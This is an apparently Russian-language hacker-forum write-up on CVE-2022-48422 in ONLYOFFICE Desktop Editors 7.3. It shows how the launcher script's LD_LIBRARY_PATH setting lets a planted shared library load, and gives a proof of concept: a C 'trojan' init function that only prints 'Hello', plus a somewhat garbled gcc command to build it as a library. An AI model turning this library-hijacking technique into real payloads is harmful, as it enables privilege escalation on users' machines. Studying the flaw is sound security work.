Ку, киберрекруты. Данная статья посвящена CVE-2022-48422. Данная уязвимость была обнаружена в ONLYOFFICE-DocumentServer-7.3.0 и дает возможность получить привелегии через троянского коня libgcc_s.so.1 в текущем рабочем каталоге, которым может быть любой каталог, в котором находится документ ONLYOFFICE. Однако, в данном чтиве просто попробую получить краш. Думаю, это явялется хорошей практикой для пывна рил кейсов.
PoC на эту уязвимость выглядит так:
Решил, что этого маловато. Поэтому буду пробовать пывнить этот, так сказать, vulnbox. Однако, уже до меня описывали эту вулну, можете ознакомиться с этой статьей История одной уязвимости. Не буду на нее опираться и попробую сам пробить вулну. Так намного веселее и скилл прокачается в разы жестче.
Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
Развертывание стенда
В этом плане не сложно. Нужно просто скачать программу или установить или найти архив, в которой содеражтся файлы для запуска. Благо, существует github репозитории, в которых все это имеется (Releases · ONLYOFFICE/DesktopEditors). По данным о CVE, нужна версия 7.3:
Скачаю архив, под названием onlyoffice-desktopeditors-x64.tar.gz, потому что там уже содержится директория с файлами, для запуска проги.
После скачивания распакуем архив командами ниже:
Код:
chmod 777 onlyoffice-desktopeditors-x64.tar.gz
gunzip onlyoffice-desktopeditors-x64.tar.gz
tar -xvf onlyoffice-desktopeditors-x64.tar.gz
Копаясь в этой папке, обнаруживаем файл - DesktopEditors. Видимо это и есть наш таргет. Однако, при запуске может выскачить примерно такая ошибка:
Код:
This application failed to start because it could not find or load the Qt platform plugin
"xcb" in "".
Сначала делаю экспортирую
QT_DEBUG_PLUGINS=1
командой export QT_DEBUG_PLUGINS=1
. После чего, устанавливаю библиотеки:
Код:
sudo apt-get install libxcb-xinerama0
sudo apt-get install libxkbcommon-x11-0 libxcb-icccm4 libxcb-image0 libxcb-keysyms1 libxcb-randr0 libxcb-render-util0 libxcb-xinerama0 libxcb-xfixes0
libegl1-mesa
Впрочем, если такой варик не катит, то можно пойти другим путем. Установить onlyoffice. Качаете .deb , устанавливаете и в директории /bin ищете файл, который называется примерно так: onlyoffice-desktopeditors. Это башевский скрипт , в котором все описано для запуска DesktopEditors.
Теперь, когда развернули стенд(называть это стендом, конечно, смешно, но как есть).
P.S. версия ONLYOFFICE Desktop Editors version 7.3.0.184
Сама вулна
Начать решил не с реверса бинаря, а больше со скрипта, который запускает программу. Опять же, вспомним о том, что происхдит брут директорий и подкачка библиотек начиная с той, где был запущен документ.
Анализируя скрипт, в конце файла было найдено крайне стремное место:
Код:
DIR=$PWD
export LD_LIBRARY_PATH=$DIR:$LD_LIBRARY_PATH
exec $DIR/DesktopEditors "$@"
Как видно, идет подкачка всех библиотек с директории запуска и выше. На это указывает $LD_LIBRARY_PATH.
Если почитать документацию о LD_LIBRARY_PATH, то можно понять следующее:
- В системе UNIX/Linux LD_LIBRARY_PATH указывает загрузчику динамической компоновки, небольшой программе, которая запускает все ваши приложения, чтобы определить, где искать динамические общие библиотеки, с которыми было связано приложение. Двоеточие ) отделяет список каталогов, и этот список проверяется даже перед встроенными путями/путями поиска и обычными местоположениями, такими как (/lib, /usr/lib..).
- Каталоги LD_LIBRARY_PATH проверяются в первую очередь, до их фактического местоположения. Этот подход может быть использован злоумышленником, чтобы заставить ваше приложение запускать вредоносную версию общей библиотеки. Это одна из причин, по которой исполняемые файлы setuid/setgid игнорируют эту переменную.
Реализация
Тут в принципе тоже ничего сложного. Пишем какую-нибудь програмку и компилим ее под видом библы. Например:
C:
#include <stdio.h>
void trojan()
{
puts("Hello");
}
Теперь компилим:
Код:
gcc -Wall -Werror -fPIC -Wl,-init,trojan,-soname,libselinux.so.1,-version -script, -shared -o libc.so trojan.c
Запускаем:
./onlyoffice-desktopeditors test.docx
После запуска пойдут краши.
Повторюсь. Самый популярный PoC:
История одной уязвимости
Последнее редактирование модератором: